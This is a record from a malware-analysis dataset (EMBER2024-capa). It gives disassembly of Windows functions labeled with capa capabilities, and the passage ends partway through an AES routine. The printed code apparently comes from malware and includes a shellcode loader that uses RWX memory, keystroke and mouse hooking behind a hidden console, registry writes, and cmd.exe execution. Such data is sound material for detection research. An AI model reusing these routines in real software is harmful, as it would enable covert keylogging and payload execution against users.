joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0x28
mov edx, 0x1ff
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rcx, [0x140003080]
mov r8d, 3
mov r9, rax
mov rdx, rax
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
lea rcx, [rcx + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm1, xmmword [rcx - 0x70]
movups xmmword [rdx - 0x70], xmm1
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x60], xmm0
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x50], xmm1
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x40], xmm0
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x30], xmm1
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x20], xmm0
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x10], xmm1
sub r8, 1
jne 0x140001030
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
mov rax, qword [rcx + 0x70]
mov qword [rdx + 0x70], rax
mov eax, dword [rcx + 0x78]
mov dword [rdx + 0x78], eax
movzx eax, word [rcx + 0x7c]
mov word [rdx + 0x7c], ax
movzx eax, byte [rcx + 0x7e]
mov byte [rdx + 0x7e], al
call r9
xor eax, eax
add rsp, 0x28
ret

Function at 0x1400019b8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a02
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a02
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a02
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a02
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a02
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a04
xor al, al
add rsp, 0x28
ret
Function at 0x140003900
Capabilities:
Create process on windows

Disassembly:
mov r11, rsp
push rbp
push rsi
push r14
lea rbp, [r11 - 0x5f]
sub rsp, 0xc0
mov rax, qword [0x14000e040]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov r14, qword [rcx + 0x10]
mov rsi, rcx
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 3
jb 0x140003b28
cmp qword [rsi + 0x18], 0xf
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rdi
mov qword [r11 + 0x20], r15
jbe 0x140003957
mov rsi, qword [rsi]
lea r15, [r14 + 3]
mov ebx, 0xf
lea rdi, [rbp + 0x1f]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x1f], xmm0
movdqu xmmword [rbp + 0x2f], xmm1
cmp r15, rbx
jbe 0x1400039f1
mov rbx, r15
or rbx, 0xf
cmp rbx, rcx
jbe 0x1400039b4
movabs rax, 0x8000000000000000
mov rbx, rcx
add rax, 0x27
mov rcx, rax
call fcn.140009ae0
test rax, rax
je 0x140003aea
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400039ed
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x1400039cd
xor edi, edi
jmp 0x1400039ed
cmp rcx, 0x1000
jb 0x1400039e5
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003b2e
jmp 0x140003995
call fcn.140009ae0
mov rdi, rax
mov qword [rbp + 0x1f], rdi
mov ecx, dword [0x14000b488]
mov r8, r14
mov qword [rbp + 0x2f], r15
mov rdx, rsi
mov qword [rbp + 0x37], rbx
mov word [rdi], cx
movzx ecx, byte [0x14000b48a]
mov byte [rdi + 2], cl
lea rcx, [rdi + 3]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r15], 0
lea rax, str.cmd.exe
cmp qword [rbp + 0x37], 0xf
lea rcx, [rbp - 0x59]
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
mov qword [rbp - 0x41], rax
lea rax, [rbp + 0x1f]
cmova rax, qword [rbp + 0x1f]
movups xmmword [rbp - 0x59], xmm0
mov dword [rbp - 0x59], 0x70
movups xmmword [rbp - 0x39], xmm0
mov qword [rbp - 0x39], rax
movups xmmword [rbp - 0x29], xmm0
mov dword [rbp - 0x55], 0x40
movups xmmword [rbp - 0x19], xmm0
mov qword [rbp - 0x49], 0
movups xmmword [rbp - 9], xmm0
mov dword [rbp - 0x29], 0
movups xmmword [rbp + 7], xmm0
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140003a8e
mov ebx, 0xffffffff
jmp 0x140003ab8
mov rcx, qword [rbp + 0xf]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0xf]
lea rdx, [rbp + 0x17]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, qword [rbp + 0xf]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [rbp + 0x17]
mov rdx, qword [rbp + 0x37]
cmp rdx, 0xf
jbe 0x140003af6
mov rcx, qword [rbp + 0x1f]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003af1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003af1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009d64
mov rdi, qword [rsp + 0xf0]
mov eax, ebx
mov rbx, qword [rsp + 0xe8]
mov r15, qword [rsp + 0xf8]
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.140009ac0
add rsp, 0xc0
pop r14
pop rsi
pop rbp
ret
call fcn.140001200
int3
call fcn.140001160
int3
Function at 0x1400055b0
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14000e040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rbx, rcx
lea rcx, [rsp + 0x30]
call fcn.140005750
mov rdi, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1400055e6
mov rdi, qword [rax]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140005626
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005621
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005621
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009d64
mov eax, dword [str.Google]
mov r9d, 2
movdqa xmm0, xmmword [0x14000b5a0]
xor r8d, r8d
movdqa xmm1, xmmword [0x14000b5c0]
mov rdx, rdi
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rcx, 0xffffffff80000001
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov dword [rsp + 0x58], eax
movzx eax, word [0x14000b4a4]
mov word [rsp + 0x5c], ax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
movdqu xmmword [rsp + 0x68], xmm1
mov byte [rsp + 0x5e], 0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400056e7
mov eax, dword [rbx + 0x10]
inc eax
cmp qword [rbx + 0x18], 0xf
jbe 0x1400056a0
mov rbx, qword [rbx]
cmp qword [rsp + 0x70], 0xf
lea rdx, [rsp + 0x58]
mov rcx, qword [rsp + 0x50]
mov r9d, 1
cmova rdx, qword [rsp + 0x58]
xor r8d, r8d
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
test eax, eax
jne 0x1400056e1
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov bl, 1
jmp 0x1400056e9
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor bl, bl
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140005729
mov rcx, qword [rsp + 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005724
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005724
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009d64
movzx eax, bl
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140009ac0
mov rbx, qword [rsp + 0x98]
add rsp, 0x80
pop rdi
ret
Function at 0x140008380
Capabilities:
Create thread
Log keystrokes via application hook

Disassembly:
push rbx
sub rsp, 0xb0
mov rax, qword [0x14000e040]
xor rax, rsp
mov qword [rsp + 0xa0], rax
xor ebx, ebx
call fcn.140001240
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], bl
lea rcx, [rsp + 0x50]
call fcn.140004ab0
lea rcx, [rsp + 0x50]
call fcn.1400055b0
mov ecx, 8
call fcn.140009ae0
lea rcx, [0x140005b70]
mov qword [rax], rcx
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x140009450]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14000856d
cmp dword [rsp + 0x38], ebx
je 0x140008561
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140008561
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140007de0]
mov ecx, 0xd
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov qword [0x14000e7e0], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140007f50]
mov ecx, 0xe
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov qword [0x14000e800], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x1400084dd
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_DispatchMessageA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x1400084b0
mov rcx, qword [0x14000e7e0]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov rcx, qword [0x14000e800]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
nop
cmp dword [rsp + 0x38], 0
je 0x140008506
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140008546
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008541
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008541
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009d64
xor eax, eax
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.140009ac0
add rsp, 0xb0
pop rbx
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x38], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x14000a604
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000a64e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000a64e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000a64e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000a64e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000a64e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000a650
xor al, al
add rsp, 0x28
ret
Function at 0x1400569a0
Capabilities:
Delete directory
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x170]
sub rsp, 0x270
mov bl, dl
lea rdx, [rsp + 0x60]
call fcn.140012ff0
lea rcx, [rsp + 0x60]
call fcn.14003b380
xor edi, edi
test al, al
je 0x140056a3a
lea rcx, [rsp + 0x60]
test bl, bl
jne 0x1400569ec
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
setne al
jmp 0x140056a3a
call fcn.140014844
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x38], rdi
mov word [rsp + rax*2 + 0x62], di
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x30], rax
mov eax, 0x614
mov qword [rsp + 0x50], rdi
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov word [rsp + 0x40], ax
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
test eax, eax
sete al
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret

Function at 0x140056a50
Capabilities:
Copy file
Move file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x380]
sub rsp, 0x480
mov rbx, rdx
lea rdx, [rbp + 0x170]
mov dil, r8b
call fcn.140012ff0
lea rdx, [rsp + 0x60]
mov rcx, rbx
call fcn.140012ff0
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x170]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
xor ebx, ebx
test eax, eax
jne 0x140056adb
test dil, dil
je 0x140056ad4
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x170]
call fcn.140015540
test eax, eax
je 0x140056acd
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x170]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
mov al, 1
jmp 0x140056b83
xor al, al
jmp 0x140056b83
lea rcx, [rbp + 0x170]
call fcn.14003b380
test al, al
je 0x140056ad4
lea rcx, [rsp + 0x60]
call fcn.14003b380
test al, al
je 0x140056b98
test dil, dil
je 0x140056ad4
lea rdx, [0x14009a1b0]
lea rcx, [rbp + 0x170]
call fcn.140014c00
lea rcx, [rbp + 0x170]
call fcn.140014844
lea rcx, [rsp + 0x60]
mov word [rbp + rax*2 + 0x172], bx
call fcn.140014844
lea rcx, [rsp + 0x20]
mov word [rsp + rax*2 + 0x62], bx
lea rax, [rbp + 0x170]
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x38], rax
mov eax, 0x614
mov dword [rsp + 0x44], ebx
mov qword [rsp + 0x20], rbx
mov dword [rsp + 0x28], 2
mov word [rsp + 0x40], ax
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
test eax, eax
sete al
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
lea rcx, [rsp + 0x60]
call fcn.14003af00
test al, al
je 0x140056ad4
lea rcx, [rsp + 0x60]
call fcn.14003b380
test al, al
jmp 0x140056b00
Function at 0x140056bc0
Capabilities:
Copy file
Delete file
Enumerate files on windows
Move file

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1028]
mov eax, 0x1100
call fcn.140024290
sub rsp, rax
mov rbx, rdx
lea rdx, [rbp + 0x360]
xor edi, edi
mov r13b, r9b
mov r14b, r8b
mov sil, dil
call fcn.140012ff0
lea rdx, [rbp + 0x570]
mov rcx, rbx
call fcn.140012ff0
lea rdx, [rbp + 0x570]
lea rcx, [rbp + 0x360]
call fcn.14003b2d0
lea rcx, [rbp + 0x360]
mov r15b, al
call fcn.14003b380
test al, al
je 0x140056c4e
lea rdx, [0x14009a1b0]
lea rcx, [rbp + 0x360]
call fcn.140014c00
lea rcx, [rbp + 0x570]
call fcn.14003b380
test al, al
je 0x140056c71
lea rdx, [0x14009a1b0]
lea rcx, [rbp + 0x570]
call fcn.140014c00
lea rax, [rbp + 0xdf0]
lea r9, [rbp + 0x9d0]
lea r8, [rbp + 0xbe0]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x360]
mov qword [rsp + 0x20], rax
call fcn.140015f9c
lea rdx, [rbp + 0x780]
lea rcx, [rbp + 0x360]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov r12b, 1
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140056dff
cmp r12b, 1
jne 0x140056dff
test byte [rbp + 0x780], 0x10
jne 0x140056dd2
lea rax, [rbp + 0x150]
lea r9, [rbp + 0x570]
lea r8, [rbp + 0xdf0]
lea rdx, [rbp + 0x9d0]
lea rcx, [rbp + 0x7ac]
mov qword [rsp + 0x20], rax
call fcn.14003b110
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.140014c2c
lea rdx, [rbp + 0xbe0]
lea rcx, [rsp + 0x40]
call fcn.140014c00
lea rdx, [rbp + 0x7ac]
lea rcx, [rsp + 0x40]
call fcn.140014c00
lea rcx, [rbp + 0x150]
call fcn.14003b3f0
test al, al
je 0x140056d71
test r14b, r14b
je 0x140056df2
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140056d90
lea rcx, [rbp + 0x150]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x40]
cmp r13b, 1
jne 0x140056dc2
test r15b, r15b
jne 0x140056da8
call qword [sym.imp.KERNEL32.dll_MoveFileW]
jmp 0x140056dcb
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x140056e02
jmp 0x140056dcf
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x140056df2
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x140056dcb
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x140056df2
mov sil, 1
lea rdx, [rbp + 0x780]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140056cc0
mov r12b, dil
jmp 0x140056cc0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
xor al, al
jmp 0x140056e0e
mov dil, sil
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
mov al, dil
lea r11, [rsp + 0x1100]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x140056e30
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
lea rbp, [rsp - 0x9c0]
sub rsp, 0xac0
lea rdx, [rsp + 0x30]
xor ebx, ebx
mov r12b, bl
call fcn.140012ff0
lea rcx, [rsp + 0x30]
call fcn.14003b380
test al, al
je 0x140056e7b
lea rdx, [0x14009a1b0]
lea rcx, [rsp + 0x30]
call fcn.140014c00
lea rax, [rbp + 0x7b0]
lea r9, [rbp + 0x5a0]
lea r8, [rbp + 0x390]
lea rdx, [rbp + 0x9e8]
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x20], rax
call fcn.140015f9c
lea rdx, [rbp + 0x140]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dil, 1
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140056f32
cmp dil, 1
jne 0x140056f32
test byte [rbp + 0x140], 0x10
jne 0x140056f19
lea rdx, [rbp + 0x9e8]
lea rcx, [rsp + 0x30]
mov r12b, dil
call fcn.140014c2c
lea rdx, [rbp + 0x390]
lea rcx, [rsp + 0x30]
call fcn.140014c00
lea rdx, [rbp + 0x16c]
lea rcx, [rsp + 0x30]
call fcn.140014c00
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp eax, 1
jne 0x140056f35
lea rdx, [rbp + 0x140]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140056ec4
mov dil, bl
jmp 0x140056ec4
mov bl, r12b
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
lea r11, [rsp + 0xac0]
mov al, bl
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret
Function at 0x1400014c0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
lea rbp, [rcx + 2]
mov qword [rsp + 0x20], 4
mov qword [rsp + 0x18], rbp
nop word [rax + rax]
movzx r9d, byte [rbp - 1]
movzx edx, byte [rbp - 2]
movzx ebx, r9b
movzx r8d, byte [rbp]
movzx eax, dl
shr al, 7
add bl, bl
movzx ecx, byte [rbp + 1]
movzx eax, al
imul eax, eax, 0x1b
mov byte [rsp + 0x78], r9b
mov byte [rsp + 0x88], dl
add dl, dl
mov byte [rsp + 0x80], r8b
xor dl, al
mov dword [rsp + 8], eax
movzx eax, dl
movzx esi, dl
shr al, 7
add sil, sil
movzx eax, al
imul eax, eax, 0x1b
xor sil, al
mov dword [rsp + 4], eax
movzx eax, r9b
movzx r9d, r8b
shr al, 7
add r9b, r9b
movzx eax, al
imul r15d, eax, 0x1b
xor bl, r15b
movzx eax, bl
movzx r10d, bl
shr al, 7
add r10b, r10b
movzx eax, al
imul eax, eax, 0x1b
xor r10b, al
mov dword [rsp + 0x10], eax
movzx eax, r8b
shr al, 7
movzx eax, al
imul r12d, eax, 0x1b
xor r9b, r12b
mov dword [rsp + 0xc], r12d
movzx eax, r9b
movzx r8d, r9b
shr al, 7
xor r9b, dl
movzx eax, al
add r8b, r8b
imul ebp, eax, 0x1b
movzx eax, cl
shr al, 7
add cl, cl
movzx eax, al
imul eax, eax, 0x1b
xor r8b, bpl
xor cl, al
mov dword [rsp + 0x14], eax
movzx eax, cl
movzx r13d, cl
shr al, 7
add r13b, r13b
movzx eax, al
imul r14d, eax, 0x1b
xor r13b, r14b
xor r9b, r13b
movzx eax, r13b
shr al, 7
xor r9b, r8b
movzx eax, al
xor r9b, r10b
imul edi, eax, 0x1b
xor r9b, sil
movzx eax, r8b
mov byte [rsp], r9b
shr al, 7
movzx eax, al
imul r11d, eax, 0x1b
movzx eax, r10b
shr al, 7
xor r13b, cl
movzx eax, al
xor r13b, r8b
imul r9d, eax, 0x1b
xor r13b, r10b
mov r12, qword [rsp + 0x18]
xor r13b, bl
movzx ebx, byte [rsp + 0x80]
xor r13b, sil
mov rcx, qword [rsp + 0x18]
movzx eax, sil
shr al, 7
movzx esi, byte [rsp + 0x78]
mov r8d, dword [rsp + 0x10]
movzx r10d, byte [rcx + 1]
movzx eax, al
imul edx, eax, 0x1b
movzx eax, byte [rsp]
xor al, byte [rsp + 0x78]
xor al, byte [rsp + 0x88]
add al, al
xor al, dl
xor al, r9b
xor al, r11b
xor al, dil
xor al, bpl
xor al, r15b
xor al, byte [rsp + 4]
xor al, byte [rsp + 8]
xor al, byte [r12 + 1]
xor al, byte [rsp + 0x80]
xor al, byte [rsp + 0x78]
mov byte [r12 - 2], al
movzx eax, r13b
mov r12d, dword [rsp + 0xc]
xor al, bl
xor al, sil
xor r13b, r10b
add al, al
xor al, dl
xor al, r9b
xor al, r11b
xor al, dil
xor al, r14b
xor al, r12b
xor al, r8b
xor al, r15b
movzx r15d, byte [rsp + 0x88]
xor r13b, r15b
xor al, r10b
add r13b, r13b
xor al, bl
xor r13b, dl
xor al, r15b
mov byte [rcx - 1], al
xor r13b, r9b
mov eax, dword [rsp + 0x14]
xor r13b, r11b
movzx ecx, byte [rsp]
xor r13b, dil
xor cl, r10b
xor r13b, r14b
xor cl, bl
xor r13b, al
add cl, cl
xor r13b, r8b
xor cl, dl
xor cl, r9b
xor cl, r11b
xor cl, dil
xor cl, al
xor cl, bpl
mov rbp, qword [rsp + 0x18]
xor cl, r12b
xor cl, byte [rsp + 4]
xor cl, r10b
xor cl, sil
xor cl, r15b
xor r13b, byte [rsp + 8]
mov byte [rbp], cl
xor r13b, bl
xor r13b, sil
xor r13b, r15b
mov byte [rbp + 1], r13b
add rbp, 4
sub qword [rsp + 0x20], 1
mov qword [rsp + 0x18], rbp
jne 0x1400014f0
mov rbx, qword [rsp + 0x70]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001760
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov rsi, rdx
mov rbx, rcx
sub rsi, rcx
mov r9d, 4
nop dword [rax]
mov r8d, 4
nop word [rax + rax]
movzx eax, byte [rsi + rcx + 0xe0]
xor byte [rcx], al
inc rcx
sub r8, 1
jne 0x1400017a0
sub r9, 1
jne 0x140001790
mov bpl, 0xd
lea rdi, [rsi + 0xd0]
lea r14, [0x14001b8e0]
nop word [rax + rax]
movzx eax, byte [rbx + 9]
mov r8, rbx
movzx ecx, byte [rbx + 0xd]
mov r9d, 4
mov byte [rbx + 0xd], al
movzx eax, byte [rbx + 5]
mov byte [rbx + 9], al
movzx eax, byte [rbx + 1]
mov byte [rbx + 5], al
movzx eax, byte [rbx + 0xa]
mov byte [rbx + 1], cl
movzx ecx, byte [rbx + 2]
mov byte [rbx + 2], al
movzx eax, byte [rbx + 0xe]
mov byte [rbx + 0xa], cl
movzx ecx, byte [rbx + 6]
mov byte [rbx + 6], al
movzx eax, byte [rbx + 7]
mov byte [rbx + 0xe], cl
movzx ecx, byte [rbx + 3]
mov byte [rbx + 3], al
movzx eax, byte [rbx + 0xb]
mov byte [rbx + 7], al
movzx eax, byte [rbx + 0xf]
mov byte [rbx + 0xb], al
mov byte [rbx + 0xf], cl
nop dword [rax]
mov rcx, r8
mov edx, 4
nop dword [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 4]
movzx eax, byte [rax + r14]
mov byte [rcx - 4], al
sub rdx, 1
jne 0x140001840
inc r8
sub r9, 1
jne 0x140001830
mov rax, rbx
lea r8d, [rdx + 4]
nop word [rax + rax]
mov edx, 4
nop word [rax + rax]
movzx ecx, byte [rdi + rax]
xor byte [rax], cl
inc rax
sub rdx, 1
jne 0x140001880
sub r8, 1
jne 0x140001870
mov rcx, rbx
call fcn.1400014c0
sub rdi, 0x10
add bpl, 0xff
jne 0x1400017d0
movzx eax, byte [rbx + 9]
mov r8, rbx
movzx ecx, byte [rbx + 0xd]
mov r9d, 4
mov byte [rbx + 0xd], al
movzx eax, byte [rbx + 5]
mov byte [rbx + 9], al
movzx eax, byte [rbx + 1]
mov byte [rbx + 5], al
movzx eax, byte [rbx + 0xa]
mov byte [rbx + 1], cl
movzx ecx, byte [rbx + 2]
mov byte [rbx + 2], al
movzx eax, byte [rbx + 0xe]
mov byte [rbx + 0xa], cl
movzx ecx, byte [rbx + 6]
mov byte [rbx + 6], al
movzx eax, byte [rbx + 7]
mov byte [rbx + 0xe], cl
movzx ecx, byte [rbx + 3]
mov byte [rbx + 3], al
